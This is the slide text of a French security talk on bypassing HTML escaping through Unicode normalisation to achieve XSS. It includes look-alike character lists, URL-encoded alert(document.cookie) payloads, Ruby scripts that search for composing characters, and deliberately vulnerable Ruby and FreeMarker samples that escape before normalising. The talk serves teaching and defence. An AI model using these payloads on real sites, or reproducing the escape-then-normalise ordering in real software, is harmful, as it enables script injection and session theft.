XSS Unicode

Tout est devenu normal

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

L'entrée utilisateur est échappée, c'est pas vuln, ya pas de XSS.

<script>alert(document;domain)</script>

Vraiment ?

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Le classique

Contournement par normalisation (décomposition compatible)

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Caractères candidats

Contourner < (U+003C, LESS-THAN SIGN)

  • , U+FE64, SMALL LESS-THAN SIGN
  • , U+FF1C, FULLWIDTH LESS-THAN SIGN

Contourner > (U+003E, GREATER-THAN SIGN)

  • , U+FE65, SMALL GREATER-THAN SIGN
  • , U+FF1E, FULLWIDTH GREATER-THAN SIGN
XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Normalisation

text = '﹤' # U+FE64
text.unicode_normalize(:nfkc) # => "<" (U+003C)
text.unicode_normalize(:nfkd) # => "<" (U+003C)
text = '<' # U+FF1C
text.unicode_normalize(:nfkc) # => "<" (U+003C)
text.unicode_normalize(:nfkd) # => "<" (U+003C)
XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Représentation hexadécimale et encodage URL

➜ unisec hexdump < --enc utf8
ef bc 9c

➜ ctf-party < urlencode
%EF%BC%9C

➜ unisec hexdump > --enc utf8
ef bc 9e

➜ ctf-party > urlencode
%EF%BC%9E
XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Encodage URL de la charge utile

<script>alert(document.cookie)</script>

⬇️

%EF%BC%9Cscript%EF%BC%9Ealert(document.cookie)%EF%BC%9C/script%EF%BC%9E

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Charge utile échappée

<script>alert(document.cookie)</script>

⬇️

&lt;script&gt;alert(document.cookie)&lt;/script&gt;

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Contournement

<script>alert(document.cookie)</script>

⬇️

<script>alert(document.cookie)</script>

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Exemple d'application (Roda - Ruby)

response.write CGI.escapeHTML(r.params['name']).unicode_normalize(:nfkc)
XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Exemple d'application (FreeMaker - Java)

${normalizeNFKC(request.queryParameters.name!?html)}
XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Le problème est le mauvais ordonnancement des étapes de sécurité.

Échappement HTML avant normalisation Unicode au lieu d'après.

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Cas d'usage

  • Mauvais ordonnancement des étapes de filtrage par le dev.
  • Normalisation faite implicitement par le cadriciel
  • SGBD qui normalise automatiquement lorsque la chaine de caractère est stockée (ex : dans une colonne VARCHAR)
XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Bonus

Contourner " (U+0022, QUOTATION MARK)

  • , U+FF02, FULLWIDTH QUOTATION MARK

Contourner ' (U+0027, APOSTROPHE)

  • , U+FF07, FULLWIDTH APOSTROPHE

Contourner & (U+0026, AMPERSAND)

  • , U+FE60, SMALL AMPERSAND
  • , U+FF06, FULLWIDTH AMPERSAND
XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Pour aller plus loin

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Face, je gagne, pile, tu perds

Contournement par normalisation (décomposition canonique)

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Et si c'est une normalisation NFC ou NFD et pas NFKC ou NFKD ?

Les caractères précédents ne sont pas interprétés comme de l'HTML, que faire ?

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)
Source NFD NFC
ô (U+00F4) o (U+006F) + ̂ (U+0302) ô (U+00F4)
o (U+006F) + ̂ (U+0302) o (U+006F) + ̂ (U+0302) ô (U+00F4)
XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)
  • ô (U+00F4) ➡️ NFD ➡️ o (U+006F) + ̂ (U+0302)
  • o (U+006F) + ̂ (U+0302) ➡️ NFC ➡️ ô (U+00F4)
XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

NFC

Contexte HTML

Qu'est-ce qui pourrait se composer / décomposer avec > ?

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Résoudre l'équation :

NFC('>' + x) = !('>')…
XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)
def uints2str(arr)
  arr.pack('U*')
end

(1..128591).each do |i|
  begin
    candidat = uints2str('>'.codepoints + [i]).unicode_normalize(:nfc)
  rescue
    candidat = '>?'
  end
  unless candidat[0] == '>'
    puts "NFC(> + #{uints2str([i])} (#{i})) = #{candidat} (#{candidat.codepoints})"
  end
end
NFC(> + ̸ (824)) = ≯ ([8815])
XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

U+0338 (COMBINING LONG SOLIDUS OVERLAY)

But : annuler la fin de balise et s'injecter dedans

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)
<textarea id=noraj>INJECTION_ICI</textarea>
<a href="https://pwn.by/noraj">INJECTION_ICI</a>
<!-- ⬇ injection -->
<textarea id=noraj>U+0338 autofocus onfocus=alert(document.cookie) </textarea>
<a href="https://pwn.by/noraj">U+0338 onclick=alert(document.cookie) </a>
<!-- ⬇ normalisation -->
<textarea id=noraj≯ autofocus onfocus=alert(document.cookie) </textarea>
<a href="https://pwn.by/noraj"onclick=alert(document.cookie) </a>

̸ autofocus onfocus=alert(document.cookie)

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Exemple d'application (Roda - Ruby)

response.write ('<textarea id=noraj>' +
                CGI.escapeHTML(r.params['param']) +
                '</textarea>').unicode_normalize(:nfc)
XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Exemple d'application (FreeMaker - Java)

${normalizeNFC("<textarea id=noraj>" + request.queryParameters.param!?html + "</textarea>")}
XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

NFC

Contexte attribut HTML

Qu'est-ce qui pourrait se composer / décomposer avec " ?

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Résoudre l'équation :

NFC('"' + x) = !('"')…

➡️ rien (pareil pour ')

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

NFD

Contexte attribut HTML

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Résoudre l'équation :

NFD(x) = '>' + y || y + '>'
XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)
require 'cgi'

def uints2str(arr)
  arr.pack('U*')
end

(1..128591).each do |i|
  begin
    candidat = CGI.escapeHTML(uints2str([i])).unicode_normalize(:nfd)
  rescue
    candidat = '?'
  end
  if candidat.include?('>')
    puts "NFD(#{uints2str([i])} (#{i})) = #{candidat} (#{candidat.codepoints})"
  end
end
NFD(≯ (8815)) = ≯ ([62, 824])
XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

U+226F (NOT GREATER-THAN)

But : ajouter une fin de balise pour s'échapper du contexte

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)
<img src="image" alt="INJECTION_ICI">
<!-- ⬇ injection -->
<img src="image" alt="U+226F + charge utile">
<!-- ⬇ normalisation -->
<img src="image" alt="≯ + charge utile ">

2 problèmes

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

2 problèmes

  • comme " n'est pas fermé, le < se trouve toujours dans l'attribut, on ne s'est pas échappé
  • quand bien même on se serait échappé, il faudrait probablement des < et potentiellement des " pour former une charge utile valide genre une nouvelle balise
XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Résoudre l'équation :

NFD(x) = '"' + y || y + '"'

➡️ rien (pareil pour ')

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

NFD

Contexte HTML

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Pareil que précédemment pour l'ouverture de balise

NFD(≮ (8814)) = ≮ ([60, 824])

On peut créer des balises, mais >💩 est ok autant <💩 formera une balise invalide

≮img ➡️ <💩img

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Il est quand même possible d'exploiter une balise personnalisée avec certains attributs

<!-- sans interaction -->
<noraj autofocus tabindex=1 onfocus="alert('autofocus mais souvent bloqué car un autre élément l a déjà')"></noraj>

<!-- avec interaction -->
<noraj onclick="alert('balise pas fermée, elle va capturer les balsies suivantes')">

<noraj id="noraj" onfocus="alert('ajouter une ancre pour forcer le focus')"></noraj>
XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)
<div>INJECTION_ICI</div><p>Je suis du contenu</p>
<!-- ⬇ injection -->
<div>U+226e onclick=alert(document.domain) </div><p>Je suis du contenu</p>
<!-- ⬇ normalisation -->
<div>≮ onclick=alert(document.domain) </div><p>Je suis du contenu</p>
XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Problème ? Pour être reconnu comme une balise par le parseur HTML, le chevron doit être suivi d'une lettre dans la plage ASCII

Autrement dit <💩 = balise HTML valide si 💩 = [a-zA-Z] donc ici <U+0338 est reconnu comme du texte et pas une balise.

Source : tkt j'ai testé, flemme de lire la spec HTML

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Récap

  • NFKC & NFKD : contournement pour <>"'&
  • NFC : contournement pour >, rien pour "', pas de cas pratique pour <
  • NFD : rien pour "', contournement pour > mais sans pouvoir en faire grand-chose, contournement pour < mais inutilisable
XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)

Mе𝐫𝓬𝒾 ρه𝖚𝓻 ∨೦𝗍ꮁе 𝞪𝕥𝐭ⅇ𝓷𝓽ꙇꬽ𝒏

XSS Unicode - 14/05/2024 - Alexandre ZANNI (noraj)